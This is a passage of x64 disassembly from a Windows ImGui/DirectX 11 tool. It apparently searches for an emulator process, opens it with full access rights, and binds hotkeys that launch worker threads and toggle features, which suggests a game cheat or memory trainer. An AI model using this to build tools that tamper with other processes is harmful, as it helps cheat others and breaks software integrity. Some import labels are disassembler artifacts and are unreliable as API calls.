movups xmm0, xmmword [rbp + 0x140]
movups xmmword [rbp + 0x70], xmm1
movsd xmm1, qword [rbp + 0x150]
movups xmmword [rbp + 0x80], xmm0
movsd qword [rbp + 0x90], xmm1
movups xmmword [rbp + 0x10], xmm2
test rax, rax
je 0x1400564a1
mov r8d, 0xb8b
lea rdx, str.C:UsersAdam01DesktopMOMOCmomokbirev111imgui_draw.cpp
lea rcx, str.font_cfg.FontData__0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
lea rdx, [rbp + 0x10]
mov qword [rbp + 0x10], r14
mov rcx, rdi
mov dword [rbp + 0x18], 0x25958
mov dword [rbp + 0x24], 0x41e00000
mov qword [rbp + 0x48], rsi
call fcn.14002a4e0
mov rdi, qword [rbx + 0x58]
mov qword [0x1403a0e60], rax
cmp byte [rdi + 0x18], r15b
je 0x1400564ee
mov r8d, 0xb89
lea rdx, str.C:UsersAdam01DesktopMOMOCmomokbirev111imgui_draw.cpp
lea rcx, str._Locked___Cannot_modify_a_locked_ImFontAtlas_between_NewFrame___and_EndFrame_Render____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movups xmm0, xmmword [rbp + 0xe0]
movups xmm1, xmmword [rbp + 0xf0]
movups xmm2, xmmword [rbp + 0xd0]
movups xmmword [rbp + 0x20], xmm0
movq rax, xmm2
movups xmm0, xmmword [rbp + 0x100]
movups xmmword [rbp + 0x30], xmm1
movups xmm1, xmmword [rbp + 0x110]
movups xmmword [rbp + 0x40], xmm0
movups xmm0, xmmword [rbp + 0x120]
movups xmmword [rbp + 0x50], xmm1
movups xmm1, xmmword [rbp + 0x130]
movups xmmword [rbp + 0x60], xmm0
movups xmm0, xmmword [rbp + 0x140]
movups xmmword [rbp + 0x70], xmm1
movsd xmm1, qword [rbp + 0x150]
movups xmmword [rbp + 0x80], xmm0
movsd qword [rbp + 0x90], xmm1
movups xmmword [rbp + 0x10], xmm2
test rax, rax
je 0x14005657d
mov r8d, 0xb8b
lea rdx, str.C:UsersAdam01DesktopMOMOCmomokbirev111imgui_draw.cpp
lea rcx, str.font_cfg.FontData__0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
lea rax, [0x140324c90]
mov dword [rbp + 0x18], 0x954
lea rdx, [rbp + 0x10]
mov qword [rbp + 0x10], rax
mov rcx, rdi
mov dword [rbp + 0x24], 0x41a00000
mov qword [rbp + 0x48], rsi
call fcn.14002a4e0
mov rdi, qword [rbx + 0x58]
mov qword [0x1403a0ed8], rax
cmp byte [rdi + 0x18], r15b
je 0x1400565d1
mov r8d, 0xb89
lea rdx, str.C:UsersAdam01DesktopMOMOCmomokbirev111imgui_draw.cpp
lea rcx, str._Locked___Cannot_modify_a_locked_ImFontAtlas_between_NewFrame___and_EndFrame_Render____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movups xmm0, xmmword [rbp + 0xe0]
movups xmm1, xmmword [rbp + 0xf0]
movups xmm2, xmmword [rbp + 0xd0]
movups xmmword [rbp + 0x20], xmm0
movq rax, xmm2
movups xmm0, xmmword [rbp + 0x100]
movups xmmword [rbp + 0x30], xmm1
movups xmm1, xmmword [rbp + 0x110]
movups xmmword [rbp + 0x40], xmm0
movups xmm0, xmmword [rbp + 0x120]
movups xmmword [rbp + 0x50], xmm1
movups xmm1, xmmword [rbp + 0x130]
movups xmmword [rbp + 0x60], xmm0
movups xmm0, xmmword [rbp + 0x140]
movups xmmword [rbp + 0x70], xmm1
movsd xmm1, qword [rbp + 0x150]
movups xmmword [rbp + 0x80], xmm0
movsd qword [rbp + 0x90], xmm1
movups xmmword [rbp + 0x10], xmm2
test rax, rax
je 0x140056660
mov r8d, 0xb8b
lea rdx, str.C:UsersAdam01DesktopMOMOCmomokbirev111imgui_draw.cpp
lea rcx, str.font_cfg.FontData__0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
lea rax, [0x14034a3f0]
mov dword [rbp + 0x18], 0x4ba44
lea rdx, [rbp + 0x10]
mov qword [rbp + 0x10], rax
mov rcx, rdi
mov dword [rbp + 0x24], 0x41880000
mov qword [rbp + 0x48], rsi
call fcn.14002a4e0
mov rdi, qword [rbx + 0x58]
cmp byte [rdi + 0x18], r15b
je 0x1400566ad
mov r8d, 0xb89
lea rdx, str.C:UsersAdam01DesktopMOMOCmomokbirev111imgui_draw.cpp
lea rcx, str._Locked___Cannot_modify_a_locked_ImFontAtlas_between_NewFrame___and_EndFrame_Render____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movups xmm0, xmmword [rbp + 0xe0]
movups xmm1, xmmword [rbp + 0xf0]
movups xmm2, xmmword [rbp + 0xd0]
movups xmmword [rbp + 0x20], xmm0
movq rax, xmm2
movups xmm0, xmmword [rbp + 0x100]
movups xmmword [rbp + 0x30], xmm1
movups xmm1, xmmword [rbp + 0x110]
movups xmmword [rbp + 0x40], xmm0
movups xmm0, xmmword [rbp + 0x120]
movups xmmword [rbp + 0x50], xmm1
movups xmm1, xmmword [rbp + 0x130]
movups xmmword [rbp + 0x60], xmm0
movups xmm0, xmmword [rbp + 0x140]
movups xmmword [rbp + 0x70], xmm1
movsd xmm1, qword [rbp + 0x150]
movups xmmword [rbp + 0x80], xmm0
movsd qword [rbp + 0x90], xmm1
movups xmmword [rbp + 0x10], xmm2
test rax, rax
je 0x14005673c
mov r8d, 0xb8b
lea rdx, str.C:UsersAdam01DesktopMOMOCmomokbirev111imgui_draw.cpp
lea rcx, str.font_cfg.FontData__0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
lea rax, [0x14023aa10]
mov dword [rbp + 0x18], 0x4d2c4
lea rdx, [rbp + 0x10]
mov qword [rbp + 0x10], rax
mov rcx, rdi
mov dword [rbp + 0x24], 0x41880000
mov qword [rbp + 0x48], rsi
call fcn.14002a4e0
mov rdi, qword [rbx + 0x58]
mov qword [0x1403a0e68], rax
cmp byte [rdi + 0x18], r15b
je 0x140056790
mov r8d, 0xb89
lea rdx, str.C:UsersAdam01DesktopMOMOCmomokbirev111imgui_draw.cpp
lea rcx, str._Locked___Cannot_modify_a_locked_ImFontAtlas_between_NewFrame___and_EndFrame_Render____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movups xmm0, xmmword [rbp + 0xe0]
movups xmm1, xmmword [rbp + 0xf0]
movups xmm2, xmmword [rbp + 0xd0]
movups xmmword [rbp + 0x20], xmm0
movq rax, xmm2
movups xmm0, xmmword [rbp + 0x100]
movups xmmword [rbp + 0x30], xmm1
movups xmm1, xmmword [rbp + 0x110]
movups xmmword [rbp + 0x40], xmm0
movups xmm0, xmmword [rbp + 0x120]
movups xmmword [rbp + 0x50], xmm1
movups xmm1, xmmword [rbp + 0x130]
movups xmmword [rbp + 0x60], xmm0
movups xmm0, xmmword [rbp + 0x140]
movups xmmword [rbp + 0x70], xmm1
movsd xmm1, qword [rbp + 0x150]
movups xmmword [rbp + 0x80], xmm0
movsd qword [rbp + 0x90], xmm1
movups xmmword [rbp + 0x10], xmm2
test rax, rax
je 0x14005681f
mov r8d, 0xb8b
lea rdx, str.C:UsersAdam01DesktopMOMOCmomokbirev111imgui_draw.cpp
lea rcx, str.font_cfg.FontData__0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
lea rax, [0x140399c60]
mov dword [rbp + 0x18], 0xb18
lea rdx, [rbp + 0x10]
mov qword [rbp + 0x10], rax
mov rcx, rdi
mov dword [rbp + 0x24], 0x41700000
mov qword [rbp + 0x48], rsi
call fcn.14002a4e0
movss xmm3, dword [0x14016bc0c]
lea rdx, [0x140329410]
mov rcx, qword [rbx + 0x58]
mov r8d, 0x20fe0
mov qword [rsp + 0x28], rsi
mov qword [0x1403a0e70], rax
mov qword [rsp + 0x20], r15
call fcn.14002a830
cmp qword [0x1403a0e20], r15
mov qword [rbp + 0x180], rax
jne 0x1400568c5
mov rcx, qword [0x1403a0eb0]
lea rax, [0x1403a0e20]
mov qword [rsp + 0x30], r15
lea r9, [0x14039fa08]
mov qword [rsp + 0x28], rax
lea rdx, [0x140287ce0]
mov qword [rsp + 0x20], rcx
mov r8d, 0x7269c
mov rcx, qword [0x1403c6898]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1403a0df8], r15
jne 0x14005690c
mov rcx, qword [0x1403c6898]
lea rax, [0x1403a0df8]
mov qword [rsp + 0x30], r15
lea r9, [0x14039fa08]
mov qword [rsp + 0x28], rax
lea rdx, [0x140232a30]
mov rax, qword [0x1403a0eb0]
mov r8d, 0x3f8e
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1403a0e00], r15
jne 0x140056953
mov rcx, qword [0x1403c6898]
lea rax, [0x1403a0e00]
mov qword [rsp + 0x30], r15
lea r9, [0x14039fa08]
mov qword [rsp + 0x28], rax
lea rdx, [0x140184110]
mov rax, qword [0x1403a0eb0]
mov r8d, 0x885ae
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1403a0e48], r15
jne 0x14005699a
mov rcx, qword [0x1403c6898]
lea rax, [0x1403a0e48]
mov qword [rsp + 0x30], r15
lea r9, [0x14039fa08]
mov qword [rsp + 0x28], rax
lea rdx, [0x14039a780]
mov rax, qword [0x1403a0eb0]
mov r8d, 0x3e1c
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1403a0e28], r15
jne 0x1400569e1
mov rcx, qword [0x1403c6898]
lea rax, [0x1403a0e28]
mov qword [rsp + 0x30], r15
lea r9, [0x14039fa08]
mov qword [rsp + 0x28], rax
lea rdx, [0x1403255f0]
mov rax, qword [0x1403a0eb0]
mov r8d, 0x3e1c
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1403a0e08], r15
jne 0x140056a28
mov rcx, qword [0x1403c6898]
lea rax, [0x1403a0e08]
mov qword [rsp + 0x30], r15
lea r9, [0x14039fa08]
mov qword [rsp + 0x28], rax
lea rdx, [0x140236bf0]
mov rax, qword [0x1403a0eb0]
mov r8d, 0x3e1c
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1403a0e38], r15
jne 0x140056a6f
mov rcx, qword [0x1403c6898]
lea rax, [0x1403a0e38]
mov qword [rsp + 0x30], r15
lea r9, [0x14039fa08]
mov qword [rsp + 0x28], rax
lea rdx, [0x140395e40]
mov rax, qword [0x1403a0eb0]
mov r8d, 0x3e1c
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1403a0e18], r15
jne 0x140056ab6
mov rcx, qword [0x1403c6898]
lea rax, [0x1403a0e18]
mov qword [rsp + 0x30], r15
lea r9, [0x14039fa08]
mov qword [rsp + 0x28], rax
lea rdx, [0x1402fa380]
mov rax, qword [0x1403a0eb0]
mov r8d, reloc.WLDAP32.dll_Ordinal_211
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1403a0e10], r15
jne 0x140056afd
mov rcx, qword [0x1403c6898]
lea rax, [0x1403a0e10]
mov qword [rsp + 0x30], r15
lea r9, [0x14039fa08]
mov qword [rsp + 0x28], rax
lea rdx, [0x1402369c0]
mov rax, qword [0x1403a0eb0]
mov r8d, 0x230
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1403a0e30], r15
jne 0x140056b44
mov rcx, qword [0x1403c6898]
lea rax, [0x1403a0e30]
mov qword [rsp + 0x30], r15
lea r9, [0x14039fa08]
mov qword [rsp + 0x28], rax
lea rdx, [0x1402fa460]
mov rax, qword [0x1403a0eb0]
mov r8d, 0x3f8e
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
mov rcx, qword [0x1403a0e88]
call fcn.140047220
mov rax, qword [0x1403a0d90]
mov r14, qword [0x1403c68e0]
mov rsi, qword [0x1403c6898]
test rax, rax
jne 0x140056b8b
mov r8d, 0x1033
lea rdx, str.C:UsersAdam01DesktopMOMOCmomokbirev111imgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x1403a0d90]
lea rdi, [rax + 8]
cmp qword [rdi + 0x98], r15
je 0x140056bb9
mov r8d, 0x221
lea rdx, str.C:UsersAdam01DesktopMOMOCmomokbirev111_backendsimgui_impl_dx11.cpp
lea rcx, str.io.BackendRendererUserData__nullptr___Already_initialized_a_renderer_backend__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x1403a0d90]
test rax, rax
je 0x140056bc4
inc dword [rax + 0xf4]
mov rdx, qword [0x1403a0d80]
mov ecx, 0x78
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov rbx, rax
test rax, rax
je 0x140056c0b
xorps xmm0, xmm0
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
movups xmmword [rax + 0x30], xmm0
movups xmmword [rax + 0x40], xmm0
movups xmmword [rax + 0x50], xmm0
movups xmmword [rax + 0x60], xmm0
mov dword [rax + 0x70], 0x1388
mov dword [rax + 0x74], 0x2710
jmp 0x140056c0e
mov rbx, r15
mov qword [rdi + 0x98], rbx
lea rax, str.imgui_impl_dx11
mov qword [rdi + 0x88], rax
lea r8, [rbp + 0x220]
or dword [rdi + 4], 8
lea rdx, [0x140169000]
mov qword [rbp + 0x220], r15
mov rcx, rsi
mov qword [rbp + 0x210], r15
mov qword [rbp + 0x5f8], r15
mov rax, qword [rsi]
mov r9, qword [rax]
call r9
test eax, eax
jne 0x140056cb2
mov rcx, qword [rbp + 0x220]
lea r8, [rbp + 0x210]
lea rdx, [0x140169010]
mov rax, qword [rcx]
mov r9, qword [rax + 0x30]
call r9
test eax, eax
jne 0x140056cb2
mov rcx, qword [rbp + 0x210]
lea r8, [rbp + 0x5f8]
lea rdx, [0x140169020]
mov rax, qword [rcx]
mov r9, qword [rax + 0x30]
call r9
test eax, eax
jne 0x140056cb2
mov qword [rbx], rsi
mov qword [rbx + 8], r14
mov rax, qword [rbp + 0x5f8]
mov qword [rbx + 0x10], rax
mov rcx, qword [rbp + 0x220]
test rcx, rcx
je 0x140056cc4
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rbp + 0x210]
test rcx, rcx
je 0x140056cd6
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rbx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov rcx, qword [rbx + 8]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
call fcn.140051340
mov rdx, rax
call fcn.14004c830
test eax, eax
je 0x140056d85
mov r8d, eax
mov dword [0x1403c1f70], eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [0x1403c1f78], rax
test rax, rax
je 0x140056d85
mov r14d, 1
lea r9, str.Emulator_Founed
mov edx, r14d
lea rcx, [rbp + 0x1060]
mov r8d, 0xbb8
call fcn.140049de0
mov rax, qword [0x1403c91f8]
cmp rax, qword [0x1403c9200]
je 0x140056d74
mov r8d, 0x2010
lea rdx, [rbp + 0x1060]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
add qword [0x1403c91f8], 0x2010
jmp 0x140056dea
lea r8, [rbp + 0x1060]
mov rdx, rax
call fcn.1400600d0
jmp 0x140056dea
lea r9, str.Emulator_Not_Founed
mov edx, 3
mov r8d, 0x5dc
lea rcx, [rbp + 0x3070]
call fcn.140049de0
mov rax, qword [0x1403c91f8]
cmp rax, qword [0x1403c9200]
je 0x140056dd5
mov r8d, 0x2010
lea rdx, [rbp + 0x3070]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
add qword [0x1403c91f8], 0x2010
jmp 0x140056de4
lea r8, [rbp + 0x3070]
mov rdx, rax
call fcn.1400600d0
mov r14d, 1
movdqa xmm9, xmmword [0x14016bfd0]
xor bl, bl
movdqa xmm14, xmmword [0x14016c0a0]
xorps xmm11, xmm11
movss xmm10, dword [0x14016bc7c]
movss xmm12, dword [0x14016bc28]
movss xmm15, dword [0x14016bb04]
movss xmm13, dword [0x14016bb7c]
mov dword [rbp], ebx
movss xmm7, dword [0x14016bcc0]
lea rcx, [rbp + 0xb50]
movss xmm8, dword [0x14016bac8]
lea r13, [0x140052350]
xor r9d, r9d
mov dword [rsp + 0x20], r14d
xor r8d, r8d
lea r12, [0x140052ba0]
xor edx, edx
lea rsi, [0x140053a50]
lea rdi, [0x1400526d0]
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x140056ed1
nop dword [rax]
nop dword [rax + rax]
lea rcx, [rbp + 0xb50]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0xb50]
call qword [sym.imp.USER32.dll_DispatchMessageA]
cmp dword [rbp + 0xb58], 0x12
lea rcx, [rbp + 0xb50]
movzx ebx, bl
cmove ebx, r14d
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
jne 0x140056e80
mov dword [rbp], ebx
test bl, bl
jne 0x14005d956
mov ecx, reloc.WLDAP32.dll_Ordinal_46
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
jne 0x14005dcd1
mov ecx, WSACleanup
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x140056f6d
mov ecx, 8
call fcn.14012af18
lea rcx, [rbp + 0x508]
mov r9, rax
mov qword [rsp + 0x28], rcx
lea r8, [0x140060420]
xor ecx, ecx
mov dword [rsp + 0x20], r15d
xor edx, edx
mov qword [rax], rdi
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x500], rax
test rax, rax
je 0x14005dbb9
cmp dword [rbp + 0x508], 0
je 0x14005dcfb
movaps xmm0, xmmword [rbp + 0x500]
lea rcx, [rsp + 0x70]
movdqa xmmword [rsp + 0x70], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x14005dcfb
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x500], xmm0
mov ecx, dword [0x1403a0df0]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x140056ff7
mov ecx, 8
call fcn.14012af18
lea rcx, [rbp + 0x518]
mov r9, rax
mov qword [rsp + 0x28], rcx
lea r8, [0x140060420]
xor ecx, ecx
mov dword [rsp + 0x20], r15d
xor edx, edx
mov qword [rax], rsi
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x510], rax
test rax, rax
je 0x14005dbcc
cmp dword [rbp + 0x518], 0
je 0x14005dcfb
movaps xmm0, xmmword [rbp + 0x510]
lea rcx, [rsp + 0x70]
movdqa xmmword [rsp + 0x70], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x14005dcfb
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x510], xmm0
mov ecx, dword [0x1403a0dc8]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x140057081
mov ecx, 8
call fcn.14012af18
lea rcx, [rbp + 0x528]
mov r9, rax
mov qword [rsp + 0x28], rcx
lea r8, [0x140060420]
xor ecx, ecx
mov dword [rsp + 0x20], r15d
xor edx, edx
mov qword [rax], r12
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x520], rax
test rax, rax
je 0x14005dbdf
cmp dword [rbp + 0x528], 0
je 0x14005dcfb
movaps xmm0, xmmword [rbp + 0x520]
lea rcx, [rsp + 0x70]
movdqa xmmword [rsp + 0x70], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x14005dcfb
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x520], xmm0
mov ecx, dword [0x1403a0dc4]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x14005710b
mov ecx, 8
call fcn.14012af18
lea rcx, [rbp + 0x538]
mov r9, rax
mov qword [rsp + 0x28], rcx
lea r8, [0x140060420]
xor ecx, ecx
mov dword [rsp + 0x20], r15d
xor edx, edx
mov qword [rax], r13
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x530], rax
test rax, rax
je 0x14005dbf2
cmp dword [rbp + 0x538], 0
je 0x14005dcfb
movaps xmm0, xmmword [rbp + 0x530]
lea rcx, [rsp + 0x70]
movdqa xmmword [rsp + 0x70], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x14005dcfb
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x530], xmm0
mov ecx, dword [0x1403a0dd0]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x1400571a0
mov ecx, 8
call fcn.14012af18
lea rcx, [0x140052420]
mov r9, rax
lea r8, [0x140060420]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rbp + 0x548]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], r15d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x540], rax
test rax, rax
je 0x14005dc05
cmp dword [rbp + 0x548], 0
je 0x14005dcfb
movaps xmm0, xmmword [rbp + 0x540]
lea rcx, [rsp + 0x70]
movdqa xmmword [rsp + 0x70], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x14005dcfb
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x540], xmm0
mov ecx, dword [0x1403a0e78]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x140057235
mov ecx, 8
call fcn.14012af18
lea rcx, [0x140052500]
mov r9, rax
lea r8, [0x140060420]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rbp + 0x558]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], r15d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x550], rax
test rax, rax
je 0x14005dc18
cmp dword [rbp + 0x558], 0
je 0x14005dcfb
movaps xmm0, xmmword [rbp + 0x550]
lea rcx, [rsp + 0x70]
movdqa xmmword [rsp + 0x70], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x14005dcfb
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x550], xmm0
mov ecx, Ordinal_50
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movzx edi, ax
mov ecx, reloc.WLDAP32.dll_Ordinal_50
shr edi, 0xf
and dil, 1
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movzx esi, ax
mov ecx, 0x33
shr esi, 0xf
and sil, 1
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movzx r14d, ax
mov ecx, reloc.WS2_32.dll_WSASetLastError
shr r14d, 0xf
and r14b, 1
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movzx r15d, ax
mov ecx, WSACleanup
shr r15d, 0xf
and r15b, 1
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movzx r12d, ax
mov ecx, WSACleanup
shr r12d, 0xf
and r12b, 1
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movzx r13d, ax
mov ecx, reloc.WS2_32.dll_WSAStartup
shr r13d, 0xf
and r13b, 1
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xf
mov ecx, 0x51
and al, 1
mov dword [rsp + 0x60], eax
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xf
mov ecx, 0x45
and al, 1
mov dword [rsp + 0x64], eax
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, dword [0x1403a0dc0]
movzx r9d, byte [0x1403a0d8a]
movzx r10d, byte [0x1403a0ed0]
movzx r11d, byte [0x1403a0df7]
movzx ebx, byte [0x1403a0dac]
shr eax, 0xf
and al, 1
mov dword [rsp + 0x70], eax
cmp ecx, 1
jne 0x14005734f
test dil, dil
je 0x1400574d6
mov edx, dword [rsp + 0x60]
mov r8d, dword [rsp + 0x64]
test r9b, r9b
jne 0x1400574df
cmp byte [0x1403a0ebd], r9b
sete byte [0x1403a0ebd]
jmp 0x1400574df
cmp ecx, 2
jne 0x140057382
test sil, sil
je 0x1400574d6
mov edx, dword [rsp + 0x60]
mov r8d, dword [rsp + 0x64]
test r10b, r10b
jne 0x1400574df
cmp byte [0x1403a0ebd], r10b
sete byte [0x1403a0ebd]
jmp 0x1400574df
cmp ecx, 3
jne 0x1400573b5
test r14b, r14b
je 0x1400574d6
mov edx, dword [rsp + 0x60]
mov r8d, dword [rsp + 0x64]
test r11b, r11b
jne 0x1400574df
cmp byte [0x1403a0ebd], r11b
sete byte [0x1403a0ebd]
jmp 0x1400574df
cmp ecx, 4
jne 0x1400573e6
test r15b, r15b
je 0x1400574d6
mov edx, dword [rsp + 0x60]
mov r8d, dword [rsp + 0x64]
test bl, bl
jne 0x1400574df
cmp byte [0x1403a0ebd], bl
sete byte [0x1403a0ebd]
jmp 0x1400574df
cmp ecx, 5
jne 0x14005741d
test r12b, r12b
je 0x1400574d6
cmp byte [0x1403a0e5f], 0
mov edx, dword [rsp + 0x60]
mov r8d, dword [rsp + 0x64]
jne 0x1400574df
cmp byte [0x1403a0ebd], 0
sete byte [0x1403a0ebd]
jmp 0x1400574df
cmp ecx, 6
jne 0x140057454
test r13b, r13b
je 0x1400574d6
cmp byte [0x1403a0daf], 0
mov edx, dword [rsp + 0x60]
mov r8d, dword [rsp + 0x64]
jne 0x1400574df
cmp byte [0x1403a0ebd], 0
sete byte [0x1403a0ebd]
jmp 0x1400574df
cmp ecx, 7
jne 0x14005747f
mov edx, dword [rsp + 0x60]
test dl, dl
je 0x1400574da
cmp byte [0x1403a0d8d], 0
mov r8d, dword [rsp + 0x64]
jne 0x1400574df
cmp byte [0x1403a0ebd], 0
sete byte [0x1403a0ebd]
jmp 0x1400574df
cmp ecx, 8
jne 0x1400574ab
mov r8d, dword [rsp + 0x64]
mov edx, dword [rsp + 0x60]
test r8b, r8b
je 0x1400574df
cmp byte [0x1403a0d8f], 0
jne 0x1400574df
cmp byte [0x1403a0ebd], 0
sete byte [0x1403a0ebd]
jmp 0x1400574df
cmp ecx, 9
jne 0x1400574d6
test al, al
je 0x1400574d6
cmp byte [0x1403a0e5c], 0
mov edx, dword [rsp + 0x60]
mov r8d, dword [rsp + 0x64]
jne 0x1400574df
cmp byte [0x1403a0ebd], 0
sete byte [0x1403a0ebd]
jmp 0x1400574df
mov edx, dword [rsp + 0x60]
mov r8d, dword [rsp + 0x64]
mov eax, dword [0x1403a0e58]
cmp eax, 1
jne 0x140057513
mov ecx, dword [rsp + 0x70]
test dil, dil
je 0x140057673
test r9b, r9b
jne 0x140057673
cmp byte [0x1403a0ec0], r9b
sete byte [0x1403a0ec0]
jmp 0x140057673
cmp eax, 2
jne 0x140057541
test sil, sil
je 0x14005766f
mov ecx, dword [rsp + 0x70]
test r10b, r10b
jne 0x140057673
cmp byte [0x1403a0ec0], r10b
sete byte [0x1403a0ec0]
jmp 0x140057673
cmp eax, 3
jne 0x14005756f
test r14b, r14b
je 0x14005766f
mov ecx, dword [rsp + 0x70]
test r11b, r11b
jne 0x140057673
cmp byte [0x1403a0ec0], r11b
sete byte [0x1403a0ec0]
jmp 0x140057673
cmp eax, 4
jne 0x14005759b
test r15b, r15b
je 0x14005766f
mov ecx, dword [rsp + 0x70]
test bl, bl
jne 0x140057673
cmp byte [0x1403a0ec0], bl
sete byte [0x1403a0ec0]
jmp 0x140057673
cmp eax, 5
jne 0x1400575cd
test r12b, r12b
je 0x14005766f
cmp byte [0x1403a0e5f], 0
mov ecx, dword [rsp + 0x70]
jne 0x140057673
cmp byte [0x1403a0ec0], 0
sete byte [0x1403a0ec0]
jmp 0x140057673
cmp eax, 6
jne 0x1400575fc
test r13b, r13b
je 0x14005766f
cmp byte [0x1403a0daf], 0
mov ecx, dword [rsp + 0x70]
jne 0x140057673
cmp byte [0x1403a0ec0], 0
sete byte [0x1403a0ec0]
jmp 0x140057673
cmp eax, 7
jne 0x140057622
test dl, dl
je 0x14005766f
cmp byte [0x1403a0d8d], 0
mov ecx, dword [rsp + 0x70]
jne 0x140057673
cmp byte [0x1403a0ec0], 0
sete byte [0x1403a0ec0]
jmp 0x140057673
cmp eax, 8
jne 0x140057649
test r8b, r8b
je 0x14005766f
cmp byte [0x1403a0d8f], 0
mov ecx, dword [rsp + 0x70]
jne 0x140057673
cmp byte [0x1403a0ec0], 0
sete byte [0x1403a0ec0]
jmp 0x140057673
mov ecx, dword [rsp + 0x70]
cmp eax, 9
jne 0x140057673
test cl, cl
je 0x140057673
